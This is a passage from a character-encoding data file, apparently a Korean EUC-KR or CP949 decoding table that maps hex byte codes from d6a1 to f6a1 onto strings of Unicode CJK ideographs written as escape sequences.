"],["d6a1","\u7149\u7489\u7DF4\u806F\u84EE\u8F26\u9023\u934A\u51BD\u5217\u52A3\u6D0C\u70C8\u88C2\u5EC9\u6582\u6BAE\u6FC2\u7C3E\u7375\u4EE4\u4F36\u56F9\uF95F\u5CBA\u5DBA\u601C\u73B2\u7B2D\u7F9A\u7FCE\u8046\u901E\u9234\u96F6\u9748\u9818\u9F61\u4F8B\u6FA7\u79AE\u91B4\u96B7\u52DE\uF960\u6488\u64C4\u6AD3\u6F5E\u7018\u7210\u76E7\u8001\u8606\u865C\u8DEF\u8F05\u9732\u9B6F\u9DFA\u9E75\u788C\u797F\u7DA0\u83C9\u9304\u9E7F\u9E93\u8AD6\u58DF\u5F04\u6727\u7027\u74CF\u7C60\u807E\u5121\u7028\u7262\u78CA\u8CC2\u8CDA\u8CF4\u96F7\u4E86\u50DA\u5BEE\u5ED6\u6599\u71CE\u7642\u77AD\u804A\u84FC"],["d7a1","\u907C\u9B27\u9F8D\u58D8\u5A41\u5C62\u6A13\u6DDA\u6F0F\u763B\u7D2F\u7E37\u851E\u8938\u93E4\u964B\u5289\u65D2\u67F3\u69B4\u6D41\u6E9C\u700F\u7409\u7460\u7559\u7624\u786B\u8B2C\u985E\u516D\u622E\u9678\u4F96\u502B\u5D19\u6DEA\u7DB8\u8F2A\u5F8B\u6144\u6817\uF961\u9686\u52D2\u808B\u51DC\u51CC\u695E\u7A1C\u7DBE\u83F1\u9675\u4FDA\u5229\u5398\u540F\u550E\u5C65\u60A7\u674E\u68A8\u6D6C\u7281\u72F8\u7406\u7483\uF962\u75E2\u7C6C\u7F79\u7FB8\u8389\u88CF\u88E1\u91CC\u91D0\u96E2\u9BC9\u541D\u6F7E\u71D0\u7498\u85FA\u8EAA\u96A3\u9C57\u9E9F\u6797\u6DCB\u7433\u81E8\u9716\u782C"],["d8a1","\u7ACB\u7B20\u7C92\u6469\u746A\u75F2\u78BC\u78E8\u99AC\u9B54\u9EBB\u5BDE\u5E55\u6F20\u819C\u83AB\u9088\u4E07\u534D\u5A29\u5DD2\u5F4E\u6162\u633D\u6669\u66FC\u6EFF\u6F2B\u7063\u779E\u842C\u8513\u883B\u8F13\u9945\u9C3B\u551C\u62B9\u672B\u6CAB\u8309\u896A\u977A\u4EA1\u5984\u5FD8\u5FD9\u671B\u7DB2\u7F54\u8292\u832B\u83BD\u8F1E\u9099\u57CB\u59B9\u5A92\u5BD0\u6627\u679A\u6885\u6BCF\u7164\u7F75\u8CB7\u8CE3\u9081\u9B45\u8108\u8C8A\u964C\u9A40\u9EA5\u5B5F\u6C13\u731B\u76F2\u76DF\u840C\u51AA\u8993\u514D\u5195\u52C9\u68C9\u6C94\u7704\u7720\u7DBF\u7DEC\u9762\u9EB5\u6EC5"],["d9a1","\u8511\u51A5\u540D\u547D\u660E\u669D\u6927\u6E9F\u76BF\u7791\u8317\u84C2\u879F\u9169\u9298\u9CF4\u8882\u4FAE\u5192\u52DF\u59C6\u5E3D\u6155\u6478\u6479\u66AE\u67D0\u6A21\u6BCD\u6BDB\u725F\u7261\u7441\u7738\u77DB\u8017\u82BC\u8305\u8B00\u8B28\u8C8C\u6728\u6C90\u7267\u76EE\u7766\u7A46\u9DA9\u6B7F\u6C92\u5922\u6726\u8499\u536F\u5893\u5999\u5EDF\u63CF\u6634\u6773\u6E3A\u732B\u7AD7\u82D7\u9328\u52D9\u5DEB\u61AE\u61CB\u620A\u62C7\u64AB\u65E0\u6959\u6B66\u6BCB\u7121\u73F7\u755D\u7E46\u821E\u8302\u856A\u8AA3\u8CBF\u9727\u9D61\u58A8\u9ED8\u5011\u520E\u543B\u554F\u6587"],["daa1","\u6C76\u7D0A\u7D0B\u805E\u868A\u9580\u96EF\u52FF\u6C95\u7269\u5473\u5A9A\u5C3E\u5D4B\u5F4C\u5FAE\u672A\u68B6\u6963\u6E3C\u6E44\u7709\u7C73\u7F8E\u8587\u8B0E\u8FF7\u9761\u9EF4\u5CB7\u60B6\u610D\u61AB\u654F\u65FB\u65FC\u6C11\u6CEF\u739F\u73C9\u7DE1\u9594\u5BC6\u871C\u8B10\u525D\u535A\u62CD\u640F\u64B2\u6734\u6A38\u6CCA\u73C0\u749E\u7B94\u7C95\u7E1B\u818A\u8236\u8584\u8FEB\u96F9\u99C1\u4F34\u534A\u53CD\u53DB\u62CC\u642C\u6500\u6591\u69C3\u6CEE\u6F58\u73ED\u7554\u7622\u76E4\u76FC\u78D0\u78FB\u792C\u7D46\u822C\u87E0\u8FD4\u9812\u98EF\u52C3\u62D4\u64A5\u6E24\u6F51"],["dba1","\u767C\u8DCB\u91B1\u9262\u9AEE\u9B43\u5023\u508D\u574A\u59A8\u5C28\u5E47\u5F77\u623F\u653E\u65B9\u65C1\u6609\u678B\u699C\u6EC2\u78C5\u7D21\u80AA\u8180\u822B\u82B3\u84A1\u868C\u8A2A\u8B17\u90A6\u9632\u9F90\u500D\u4FF3\uF963\u57F9\u5F98\u62DC\u6392\u676F\u6E43\u7119\u76C3\u80CC\u80DA\u88F4\u88F5\u8919\u8CE0\u8F29\u914D\u966A\u4F2F\u4F70\u5E1B\u67CF\u6822\u767D\u767E\u9B44\u5E61\u6A0A\u7169\u71D4\u756A\uF964\u7E41\u8543\u85E9\u98DC\u4F10\u7B4F\u7F70\u95A5\u51E1\u5E06\u68B5\u6C3E\u6C4E\u6CDB\u72AF\u7BC4\u8303\u6CD5\u743A\u50FB\u5288\u58C1\u64D8\u6A97\u74A7\u7656"],["dca1","\u78A7\u8617\u95E2\u9739\uF965\u535E\u5F01\u8B8A\u8FA8\u8FAF\u908A\u5225\u77A5\u9C49\u9F08\u4E19\u5002\u5175\u5C5B\u5E77\u661E\u663A\u67C4\u68C5\u70B3\u7501\u75C5\u79C9\u7ADD\u8F27\u9920\u9A08\u4FDD\u5821\u5831\u5BF6\u666E\u6B65\u6D11\u6E7A\u6F7D\u73E4\u752B\u83E9\u88DC\u8913\u8B5C\u8F14\u4F0F\u50D5\u5310\u535C\u5B93\u5FA9\u670D\u798F\u8179\u832F\u8514\u8907\u8986\u8F39\u8F3B\u99A5\u9C12\u672C\u4E76\u4FF8\u5949\u5C01\u5CEF\u5CF0\u6367\u68D2\u70FD\u71A2\u742B\u7E2B\u84EC\u8702\u9022\u92D2\u9CF3\u4E0D\u4ED8\u4FEF\u5085\u5256\u526F\u5426\u5490\u57E0\u592B\u5A66"],["dda1","\u5B5A\u5B75\u5BCC\u5E9C\uF966\u6276\u6577\u65A7\u6D6E\u6EA5\u7236\u7B26\u7C3F\u7F36\u8150\u8151\u819A\u8240\u8299\u83A9\u8A03\u8CA0\u8CE6\u8CFB\u8D74\u8DBA\u90E8\u91DC\u961C\u9644\u99D9\u9CE7\u5317\u5206\u5429\u5674\u58B3\u5954\u596E\u5FFF\u61A4\u626E\u6610\u6C7E\u711A\u76C6\u7C89\u7CDE\u7D1B\u82AC\u8CC1\u96F0\uF967\u4F5B\u5F17\u5F7F\u62C2\u5D29\u670B\u68DA\u787C\u7E43\u9D6C\u4E15\u5099\u5315\u532A\u5351\u5983\u5A62\u5E87\u60B2\u618A\u6249\u6279\u6590\u6787\u69A7\u6BD4\u6BD6\u6BD7\u6BD8\u6CB8\uF968\u7435\u75FA\u7812\u7891\u79D5\u79D8\u7C83\u7DCB\u7FE1\u80A5"],["dea1","\u813E\u81C2\u83F2\u871A\u88E8\u8AB9\u8B6C\u8CBB\u9119\u975E\u98DB\u9F3B\u56AC\u5B2A\u5F6C\u658C\u6AB3\u6BAF\u6D5C\u6FF1\u7015\u725D\u73AD\u8CA7\u8CD3\u983B\u6191\u6C37\u8058\u9A01\u4E4D\u4E8B\u4E9B\u4ED5\u4F3A\u4F3C\u4F7F\u4FDF\u50FF\u53F2\u53F8\u5506\u55E3\u56DB\u58EB\u5962\u5A11\u5BEB\u5BFA\u5C04\u5DF3\u5E2B\u5F99\u601D\u6368\u659C\u65AF\u67F6\u67FB\u68AD\u6B7B\u6C99\u6CD7\u6E23\u7009\u7345\u7802\u793E\u7940\u7960\u79C1\u7BE9\u7D17\u7D72\u8086\u820D\u838E\u84D1\u86C7\u88DF\u8A50\u8A5E\u8B1D\u8CDC\u8D66\u8FAD\u90AA\u98FC\u99DF\u9E9D\u524A\uF969\u6714\uF96A"],["dfa1","\u5098\u522A\u5C71\u6563\u6C55\u73CA\u7523\u759D\u7B97\u849C\u9178\u9730\u4E77\u6492\u6BBA\u715E\u85A9\u4E09\uF96B\u6749\u68EE\u6E17\u829F\u8518\u886B\u63F7\u6F81\u9212\u98AF\u4E0A\u50B7\u50CF\u511F\u5546\u55AA\u5617\u5B40\u5C19\u5CE0\u5E38\u5E8A\u5EA0\u5EC2\u60F3\u6851\u6A61\u6E58\u723D\u7240\u72C0\u76F8\u7965\u7BB1\u7FD4\u88F3\u89F4\u8A73\u8C61\u8CDE\u971C\u585E\u74BD\u8CFD\u55C7\uF96C\u7A61\u7D22\u8272\u7272\u751F\u7525\uF96D\u7B19\u5885\u58FB\u5DBC\u5E8F\u5EB6\u5F90\u6055\u6292\u637F\u654D\u6691\u66D9\u66F8\u6816\u68F2\u7280\u745E\u7B6E\u7D6E\u7DD6\u7F72"],["e0a1","\u80E5\u8212\u85AF\u897F\u8A93\u901D\u92E4\u9ECD\u9F20\u5915\u596D\u5E2D\u60DC\u6614\u6673\u6790\u6C50\u6DC5\u6F5F\u77F3\u78A9\u84C6\u91CB\u932B\u4ED9\u50CA\u5148\u5584\u5B0B\u5BA3\u6247\u657E\u65CB\u6E32\u717D\u7401\u7444\u7487\u74BF\u766C\u79AA\u7DDA\u7E55\u7FA8\u817A\u81B3\u8239\u861A\u87EC\u8A75\u8DE3\u9078\u9291\u9425\u994D\u9BAE\u5368\u5C51\u6954\u6CC4\u6D29\u6E2B\u820C\u859B\u893B\u8A2D\u8AAA\u96EA\u9F67\u5261\u66B9\u6BB2\u7E96\u87FE\u8D0D\u9583\u965D\u651D\u6D89\u71EE\uF96E\u57CE\u59D3\u5BAC\u6027\u60FA\u6210\u661F\u665F\u7329\u73F9\u76DB\u7701\u7B6C"],["e1a1","\u8056\u8072\u8165\u8AA0\u9192\u4E16\u52E2\u6B72\u6D17\u7A05\u7B39\u7D30\uF96F\u8CB0\u53EC\u562F\u5851\u5BB5\u5C0F\u5C11\u5DE2\u6240\u6383\u6414\u662D\u68B3\u6CBC\u6D88\u6EAF\u701F\u70A4\u71D2\u7526\u758F\u758E\u7619\u7B11\u7BE0\u7C2B\u7D20\u7D39\u852C\u856D\u8607\u8A34\u900D\u9061\u90B5\u92B7\u97F6\u9A37\u4FD7\u5C6C\u675F\u6D91\u7C9F\u7E8C\u8B16\u8D16\u901F\u5B6B\u5DFD\u640D\u84C0\u905C\u98E1\u7387\u5B8B\u609A\u677E\u6DDE\u8A1F\u8AA6\u9001\u980C\u5237\uF970\u7051\u788E\u9396\u8870\u91D7\u4FEE\u53D7\u55FD\u56DA\u5782\u58FD\u5AC2\u5B88\u5CAB\u5CC0\u5E25\u6101"],["e2a1","\u620D\u624B\u6388\u641C\u6536\u6578\u6A39\u6B8A\u6C34\u6D19\u6F31\u71E7\u72E9\u7378\u7407\u74B2\u7626\u7761\u79C0\u7A57\u7AEA\u7CB9\u7D8F\u7DAC\u7E61\u7F9E\u8129\u8331\u8490\u84DA\u85EA\u8896\u8AB0\u8B90\u8F38\u9042\u9083\u916C\u9296\u92B9\u968B\u96A7\u96A8\u96D6\u9700\u9808\u9996\u9AD3\u9B1A\u53D4\u587E\u5919\u5B70\u5BBF\u6DD1\u6F5A\u719F\u7421\u74B9\u8085\u83FD\u5DE1\u5F87\u5FAA\u6042\u65EC\u6812\u696F\u6A53\u6B89\u6D35\u6DF3\u73E3\u76FE\u77AC\u7B4D\u7D14\u8123\u821C\u8340\u84F4\u8563\u8A62\u8AC4\u9187\u931E\u9806\u99B4\u620C\u8853\u8FF0\u9265\u5D07\u5D27"],["e3a1","\u5D69\u745F\u819D\u8768\u6FD5\u62FE\u7FD2\u8936\u8972\u4E1E\u4E58\u50E7\u52DD\u5347\u627F\u6607\u7E69\u8805\u965E\u4F8D\u5319\u5636\u59CB\u5AA4\u5C38\u5C4E\u5C4D\u5E02\u5F11\u6043\u65BD\u662F\u6642\u67BE\u67F4\u731C\u77E2\u793A\u7FC5\u8494\u84CD\u8996\u8A66\u8A69\u8AE1\u8C55\u8C7A\u57F4\u5BD4\u5F0F\u606F\u62ED\u690D\u6B96\u6E5C\u7184\u7BD2\u8755\u8B58\u8EFE\u98DF\u98FE\u4F38\u4F81\u4FE1\u547B\u5A20\u5BB8\u613C\u65B0\u6668\u71FC\u7533\u795E\u7D33\u814E\u81E3\u8398\u85AA\u85CE\u8703\u8A0A\u8EAB\u8F9B\uF971\u8FC5\u5931\u5BA4\u5BE6\u6089\u5BE9\u5C0B\u5FC3\u6C81"],["e4a1","\uF972\u6DF1\u700B\u751A\u82AF\u8AF6\u4EC0\u5341\uF973\u96D9\u6C0F\u4E9E\u4FC4\u5152\u555E\u5A25\u5CE8\u6211\u7259\u82BD\u83AA\u86FE\u8859\u8A1D\u963F\u96C5\u9913\u9D09\u9D5D\u580A\u5CB3\u5DBD\u5E44\u60E1\u6115\u63E1\u6A02\u6E25\u9102\u9354\u984E\u9C10\u9F77\u5B89\u5CB8\u6309\u664F\u6848\u773C\u96C1\u978D\u9854\u9B9F\u65A1\u8B01\u8ECB\u95BC\u5535\u5CA9\u5DD6\u5EB5\u6697\u764C\u83F4\u95C7\u58D3\u62BC\u72CE\u9D28\u4EF0\u592E\u600F\u663B\u6B83\u79E7\u9D26\u5393\u54C0\u57C3\u5D16\u611B\u66D6\u6DAF\u788D\u827E\u9698\u9744\u5384\u627C\u6396\u6DB2\u7E0A\u814B\u984D"],["e5a1","\u6AFB\u7F4C\u9DAF\u9E1A\u4E5F\u503B\u51B6\u591C\u60F9\u63F6\u6930\u723A\u8036\uF974\u91CE\u5F31\uF975\uF976\u7D04\u82E5\u846F\u84BB\u85E5\u8E8D\uF977\u4F6F\uF978\uF979\u58E4\u5B43\u6059\u63DA\u6518\u656D\u6698\uF97A\u694A\u6A23\u6D0B\u7001\u716C\u75D2\u760D\u79B3\u7A70\uF97B\u7F8A\uF97C\u8944\uF97D\u8B93\u91C0\u967D\uF97E\u990A\u5704\u5FA1\u65BC\u6F01\u7600\u79A6\u8A9E\u99AD\u9B5A\u9F6C\u5104\u61B6\u6291\u6A8D\u81C6\u5043\u5830\u5F66\u7109\u8A00\u8AFA\u5B7C\u8616\u4FFA\u513C\u56B4\u5944\u63A9\u6DF9\u5DAA\u696D\u5186\u4E88\u4F59\uF97F\uF980\uF981\u5982\uF982"],["e6a1","\uF983\u6B5F\u6C5D\uF984\u74B5\u7916\uF985\u8207\u8245\u8339\u8F3F\u8F5D\uF986\u9918\uF987\uF988\uF989\u4EA6\uF98A\u57DF\u5F79\u6613\uF98B\uF98C\u75AB\u7E79\u8B6F\uF98D\u9006\u9A5B\u56A5\u5827\u59F8\u5A1F\u5BB4\uF98E\u5EF6\uF98F\uF990\u6350\u633B\uF991\u693D\u6C87\u6CBF\u6D8E\u6D93\u6DF5\u6F14\uF992\u70DF\u7136\u7159\uF993\u71C3\u71D5\uF994\u784F\u786F\uF995\u7B75\u7DE3\uF996\u7E2F\uF997\u884D\u8EDF\uF998\uF999\uF99A\u925B\uF99B\u9CF6\uF99C\uF99D\uF99E\u6085\u6D85\uF99F\u71B1\uF9A0\uF9A1\u95B1\u53AD\uF9A2\uF9A3\uF9A4\u67D3\uF9A5\u708E\u7130\u7430\u8276\u82D2"],["e7a1","\uF9A6\u95BB\u9AE5\u9E7D\u66C4\uF9A7\u71C1\u8449\uF9A8\uF9A9\u584B\uF9AA\uF9AB\u5DB8\u5F71\uF9AC\u6620\u668E\u6979\u69AE\u6C38\u6CF3\u6E36\u6F41\u6FDA\u701B\u702F\u7150\u71DF\u7370\uF9AD\u745B\uF9AE\u74D4\u76C8\u7A4E\u7E93\uF9AF\uF9B0\u82F1\u8A60\u8FCE\uF9B1\u9348\uF9B2\u9719\uF9B3\uF9B4\u4E42\u502A\uF9B5\u5208\u53E1\u66F3\u6C6D\u6FCA\u730A\u777F\u7A62\u82AE\u85DD\u8602\uF9B6\u88D4\u8A63\u8B7D\u8C6B\uF9B7\u92B3\uF9B8\u9713\u9810\u4E94\u4F0D\u4FC9\u50B2\u5348\u543E\u5433\u55DA\u5862\u58BA\u5967\u5A1B\u5BE4\u609F\uF9B9\u61CA\u6556\u65FF\u6664\u68A7\u6C5A\u6FB3"],["e8a1","\u70CF\u71AC\u7352\u7B7D\u8708\u8AA4\u9C32\u9F07\u5C4B\u6C83\u7344\u7389\u923A\u6EAB\u7465\u761F\u7A69\u7E15\u860A\u5140\u58C5\u64C1\u74EE\u7515\u7670\u7FC1\u9095\u96CD\u9954\u6E26\u74E6\u7AA9\u7AAA\u81E5\u86D9\u8778\u8A1B\u5A49\u5B8C\u5B9B\u68A1\u6900\u6D63\u73A9\u7413\u742C\u7897\u7DE9\u7FEB\u8118\u8155\u839E\u8C4C\u962E\u9811\u66F0\u5F80\u65FA\u6789\u6C6A\u738B\u502D\u5A03\u6B6A\u77EE\u5916\u5D6C\u5DCD\u7325\u754F\uF9BA\uF9BB\u50E5\u51F9\u582F\u592D\u5996\u59DA\u5BE5\uF9BC\uF9BD\u5DA2\u62D7\u6416\u6493\u64FE\uF9BE\u66DC\uF9BF\u6A48\uF9C0\u71FF\u7464\uF9C1"],["e9a1","\u7A88\u7AAF\u7E47\u7E5E\u8000\u8170\uF9C2\u87EF\u8981\u8B20\u9059\uF9C3\u9080\u9952\u617E\u6B32\u6D74\u7E1F\u8925\u8FB1\u4FD1\u50AD\u5197\u52C7\u57C7\u5889\u5BB9\u5EB8\u6142\u6995\u6D8C\u6E67\u6EB6\u7194\u7462\u7528\u752C\u8073\u8338\u84C9\u8E0A\u9394\u93DE\uF9C4\u4E8E\u4F51\u5076\u512A\u53C8\u53CB\u53F3\u5B87\u5BD3\u5C24\u611A\u6182\u65F4\u725B\u7397\u7440\u76C2\u7950\u7991\u79B9\u7D06\u7FBD\u828B\u85D5\u865E\u8FC2\u9047\u90F5\u91EA\u9685\u96E8\u96E9\u52D6\u5F67\u65ED\u6631\u682F\u715C\u7A36\u90C1\u980A\u4E91\uF9C5\u6A52\u6B9E\u6F90\u7189\u8018\u82B8\u8553"],["eaa1","\u904B\u9695\u96F2\u97FB\u851A\u9B31\u4E90\u718A\u96C4\u5143\u539F\u54E1\u5713\u5712\u57A3\u5A9B\u5AC4\u5BC3\u6028\u613F\u63F4\u6C85\u6D39\u6E72\u6E90\u7230\u733F\u7457\u82D1\u8881\u8F45\u9060\uF9C6\u9662\u9858\u9D1B\u6708\u8D8A\u925E\u4F4D\u5049\u50DE\u5371\u570D\u59D4\u5A01\u5C09\u6170\u6690\u6E2D\u7232\u744B\u7DEF\u80C3\u840E\u8466\u853F\u875F\u885B\u8918\u8B02\u9055\u97CB\u9B4F\u4E73\u4F91\u5112\u516A\uF9C7\u552F\u55A9\u5B7A\u5BA5\u5E7C\u5E7D\u5EBE\u60A0\u60DF\u6108\u6109\u63C4\u6538\u6709\uF9C8\u67D4\u67DA\uF9C9\u6961\u6962\u6CB9\u6D27\uF9CA\u6E38\uF9CB"],["eba1","\u6FE1\u7336\u7337\uF9CC\u745C\u7531\uF9CD\u7652\uF9CE\uF9CF\u7DAD\u81FE\u8438\u88D5\u8A98\u8ADB\u8AED\u8E30\u8E42\u904A\u903E\u907A\u9149\u91C9\u936E\uF9D0\uF9D1\u5809\uF9D2\u6BD3\u8089\u80B2\uF9D3\uF9D4\u5141\u596B\u5C39\uF9D5\uF9D6\u6F64\u73A7\u80E4\u8D07\uF9D7\u9217\u958F\uF9D8\uF9D9\uF9DA\uF9DB\u807F\u620E\u701C\u7D68\u878D\uF9DC\u57A0\u6069\u6147\u6BB7\u8ABE\u9280\u96B1\u4E59\u541F\u6DEB\u852D\u9670\u97F3\u98EE\u63D6\u6CE3\u9091\u51DD\u61C9\u81BA\u9DF9\u4F9D\u501A\u5100\u5B9C\u610F\u61FF\u64EC\u6905\u6BC5\u7591\u77E3\u7FA9\u8264\u858F\u87FB\u8863\u8ABC"],["eca1","\u8B70\u91AB\u4E8C\u4EE5\u4F0A\uF9DD\uF9DE\u5937\u59E8\uF9DF\u5DF2\u5F1B\u5F5B\u6021\uF9E0\uF9E1\uF9E2\uF9E3\u723E\u73E5\uF9E4\u7570\u75CD\uF9E5\u79FB\uF9E6\u800C\u8033\u8084\u82E1\u8351\uF9E7\uF9E8\u8CBD\u8CB3\u9087\uF9E9\uF9EA\u98F4\u990C\uF9EB\uF9EC\u7037\u76CA\u7FCA\u7FCC\u7FFC\u8B1A\u4EBA\u4EC1\u5203\u5370\uF9ED\u54BD\u56E0\u59FB\u5BC5\u5F15\u5FCD\u6E6E\uF9EE\uF9EF\u7D6A\u8335\uF9F0\u8693\u8A8D\uF9F1\u976D\u9777\uF9F2\uF9F3\u4E00\u4F5A\u4F7E\u58F9\u65E5\u6EA2\u9038\u93B0\u99B9\u4EFB\u58EC\u598A\u59D9\u6041\uF9F4\uF9F5\u7A14\uF9F6\u834F\u8CC3\u5165\u5344"],["eda1","\uF9F7\uF9F8\uF9F9\u4ECD\u5269\u5B55\u82BF\u4ED4\u523A\u54A8\u59C9\u59FF\u5B50\u5B57\u5B5C\u6063\u6148\u6ECB\u7099\u716E\u7386\u74F7\u75B5\u78C1\u7D2B\u8005\u81EA\u8328\u8517\u85C9\u8AEE\u8CC7\u96CC\u4F5C\u52FA\u56BC\u65AB\u6628\u707C\u70B8\u7235\u7DBD\u828D\u914C\u96C0\u9D72\u5B71\u68E7\u6B98\u6F7A\u76DE\u5C91\u66AB\u6F5B\u7BB4\u7C2A\u8836\u96DC\u4E08\u4ED7\u5320\u5834\u58BB\u58EF\u596C\u5C07\u5E33\u5E84\u5F35\u638C\u66B2\u6756\u6A1F\u6AA3\u6B0C\u6F3F\u7246\uF9FA\u7350\u748B\u7AE0\u7CA7\u8178\u81DF\u81E7\u838A\u846C\u8523\u8594\u85CF\u88DD\u8D13\u91AC\u9577"],["eea1","\u969C\u518D\u54C9\u5728\u5BB0\u624D\u6750\u683D\u6893\u6E3D\u6ED3\u707D\u7E21\u88C1\u8CA1\u8F09\u9F4B\u9F4E\u722D\u7B8F\u8ACD\u931A\u4F47\u4F4E\u5132\u5480\u59D0\u5E95\u62B5\u6775\u696E\u6A17\u6CAE\u6E1A\u72D9\u732A\u75BD\u7BB8\u7D35\u82E7\u83F9\u8457\u85F7\u8A5B\u8CAF\u8E87\u9019\u90B8\u96CE\u9F5F\u52E3\u540A\u5AE1\u5BC2\u6458\u6575\u6EF4\u72C4\uF9FB\u7684\u7A4D\u7B1B\u7C4D\u7E3E\u7FDF\u837B\u8B2B\u8CCA\u8D64\u8DE1\u8E5F\u8FEA\u8FF9\u9069\u93D1\u4F43\u4F7A\u50B3\u5168\u5178\u524D\u526A\u5861\u587C\u5960\u5C08\u5C55\u5EDB\u609B\u6230\u6813\u6BBF\u6C08\u6FB1"],["efa1","\u714E\u7420\u7530\u7538\u7551\u7672\u7B4C\u7B8B\u7BAD\u7BC6\u7E8F\u8A6E\u8F3E\u8F49\u923F\u9293\u9322\u942B\u96FB\u985A\u986B\u991E\u5207\u622A\u6298\u6D59\u7664\u7ACA\u7BC0\u7D76\u5360\u5CBE\u5E97\u6F38\u70B9\u7C98\u9711\u9B8E\u9EDE\u63A5\u647A\u8776\u4E01\u4E95\u4EAD\u505C\u5075\u5448\u59C3\u5B9A\u5E40\u5EAD\u5EF7\u5F81\u60C5\u633A\u653F\u6574\u65CC\u6676\u6678\u67FE\u6968\u6A89\u6B63\u6C40\u6DC0\u6DE8\u6E1F\u6E5E\u701E\u70A1\u738E\u73FD\u753A\u775B\u7887\u798E\u7A0B\u7A7D\u7CBE\u7D8E\u8247\u8A02\u8AEA\u8C9E\u912D\u914A\u91D8\u9266\u92CC\u9320\u9706\u9756"],["f0a1","\u975C\u9802\u9F0E\u5236\u5291\u557C\u5824\u5E1D\u5F1F\u608C\u63D0\u68AF\u6FDF\u796D\u7B2C\u81CD\u85BA\u88FD\u8AF8\u8E44\u918D\u9664\u969B\u973D\u984C\u9F4A\u4FCE\u5146\u51CB\u52A9\u5632\u5F14\u5F6B\u63AA\u64CD\u65E9\u6641\u66FA\u66F9\u671D\u689D\u68D7\u69FD\u6F15\u6F6E\u7167\u71E5\u722A\u74AA\u773A\u7956\u795A\u79DF\u7A20\u7A95\u7C97\u7CDF\u7D44\u7E70\u8087\u85FB\u86A4\u8A54\u8ABF\u8D99\u8E81\u9020\u906D\u91E3\u963B\u96D5\u9CE5\u65CF\u7C07\u8DB3\u93C3\u5B58\u5C0A\u5352\u62D9\u731D\u5027\u5B97\u5F9E\u60B0\u616B\u68D5\u6DD9\u742E\u7A2E\u7D42\u7D9C\u7E31\u816B"],["f1a1","\u8E2A\u8E35\u937E\u9418\u4F50\u5750\u5DE6\u5EA7\u632B\u7F6A\u4E3B\u4F4F\u4F8F\u505A\u59DD\u80C4\u546A\u5468\u55FE\u594F\u5B99\u5DDE\u5EDA\u665D\u6731\u67F1\u682A\u6CE8\u6D32\u6E4A\u6F8D\u70B7\u73E0\u7587\u7C4C\u7D02\u7D2C\u7DA2\u821F\u86DB\u8A3B\u8A85\u8D70\u8E8A\u8F33\u9031\u914E\u9152\u9444\u99D0\u7AF9\u7CA5\u4FCA\u5101\u51C6\u57C8\u5BEF\u5CFB\u6659\u6A3D\u6D5A\u6E96\u6FEC\u710C\u756F\u7AE3\u8822\u9021\u9075\u96CB\u99FF\u8301\u4E2D\u4EF2\u8846\u91CD\u537D\u6ADB\u696B\u6C41\u847A\u589E\u618E\u66FE\u62EF\u70DD\u7511\u75C7\u7E52\u84B8\u8B49\u8D08\u4E4B\u53EA"],["f2a1","\u54AB\u5730\u5740\u5FD7\u6301\u6307\u646F\u652F\u65E8\u667A\u679D\u67B3\u6B62\u6C60\u6C9A\u6F2C\u77E5\u7825\u7949\u7957\u7D19\u80A2\u8102\u81F3\u829D\u82B7\u8718\u8A8C\uF9FC\u8D04\u8DBE\u9072\u76F4\u7A19\u7A37\u7E54\u8077\u5507\u55D4\u5875\u632F\u6422\u6649\u664B\u686D\u699B\u6B84\u6D25\u6EB1\u73CD\u7468\u74A1\u755B\u75B9\u76E1\u771E\u778B\u79E6\u7E09\u7E1D\u81FB\u852F\u8897\u8A3A\u8CD1\u8EEB\u8FB0\u9032\u93AD\u9663\u9673\u9707\u4F84\u53F1\u59EA\u5AC9\u5E19\u684E\u74C6\u75BE\u79E9\u7A92\u81A3\u86ED\u8CEA\u8DCC\u8FED\u659F\u6715\uF9FD\u57F7\u6F57\u7DDD\u8F2F"],["f3a1","\u93F6\u96C6\u5FB5\u61F2\u6F84\u4E14\u4F98\u501F\u53C9\u55DF\u5D6F\u5DEE\u6B21\u6B64\u78CB\u7B9A\uF9FE\u8E49\u8ECA\u906E\u6349\u643E\u7740\u7A84\u932F\u947F\u9F6A\u64B0\u6FAF\u71E6\u74A8\u74DA\u7AC4\u7C12\u7E82\u7CB2\u7E98\u8B9A\u8D0A\u947D\u9910\u994C\u5239\u5BDF\u64E6\u672D\u7D2E\u50ED\u53C3\u5879\u6158\u6159\u61FA\u65AC\u7AD9\u8B92\u8B96\u5009\u5021\u5275\u5531\u5A3C\u5EE0\u5F70\u6134\u655E\u660C\u6636\u66A2\u69CD\u6EC4\u6F32\u7316\u7621\u7A93\u8139\u8259\u83D6\u84BC\u50B5\u57F0\u5BC0\u5BE8\u5F69\u63A1\u7826\u7DB5\u83DC\u8521\u91C7\u91F5\u518A\u67F5\u7B56"],["f4a1","\u8CAC\u51C4\u59BB\u60BD\u8655\u501C\uF9FF\u5254\u5C3A\u617D\u621A\u62D3\u64F2\u65A5\u6ECC\u7620\u810A\u8E60\u965F\u96BB\u4EDF\u5343\u5598\u5929\u5DDD\u64C5\u6CC9\u6DFA\u7394\u7A7F\u821B\u85A6\u8CE4\u8E10\u9077\u91E7\u95E1\u9621\u97C6\u51F8\u54F2\u5586\u5FB9\u64A4\u6F88\u7DB4\u8F1F\u8F4D\u9435\u50C9\u5C16\u6CBE\u6DFB\u751B\u77BB\u7C3D\u7C64\u8A79\u8AC2\u581E\u59BE\u5E16\u6377\u7252\u758A\u776B\u8ADC\u8CBC\u8F12\u5EF3\u6674\u6DF8\u807D\u83C1\u8ACB\u9751\u9BD6\uFA00\u5243\u66FF\u6D95\u6EEF\u7DE0\u8AE6\u902E\u905E\u9AD4\u521D\u527F\u54E8\u6194\u6284\u62DB\u68A2"],["f5a1","\u6912\u695A\u6A35\u7092\u7126\u785D\u7901\u790E\u79D2\u7A0D\u8096\u8278\u82D5\u8349\u8549\u8C82\u8D85\u9162\u918B\u91AE\u4FC3\u56D1\u71ED\u77D7\u8700\u89F8\u5BF8\u5FD6\u6751\u90A8\u53E2\u585A\u5BF5\u60A4\u6181\u6460\u7E3D\u8070\u8525\u9283\u64AE\u50AC\u5D14\u6700\u589C\u62BD\u63A8\u690E\u6978\u6A1E\u6E6B\u76BA\u79CB\u82BB\u8429\u8ACF\u8DA8\u8FFD\u9112\u914B\u919C\u9310\u9318\u939A\u96DB\u9A36\u9C0D\u4E11\u755C\u795D\u7AFA\u7B51\u7BC9\u7E2E\u84C4\u8E59\u8E74\u8EF8\u9010\u6625\u693F\u7443\u51FA\u672E\u9EDC\u5145\u5FE0\u6C96\u87F2\u885D\u8877\u60B4\u81B5\u8403"],["f6a1","\u8D05\u53D6\u5439\u5634\u5A36\u5C31\u708A\u7FE0\u805A\u8106\u81ED\u8DA3\u9189\u9A5F\u9DF2\u5074\u4EC4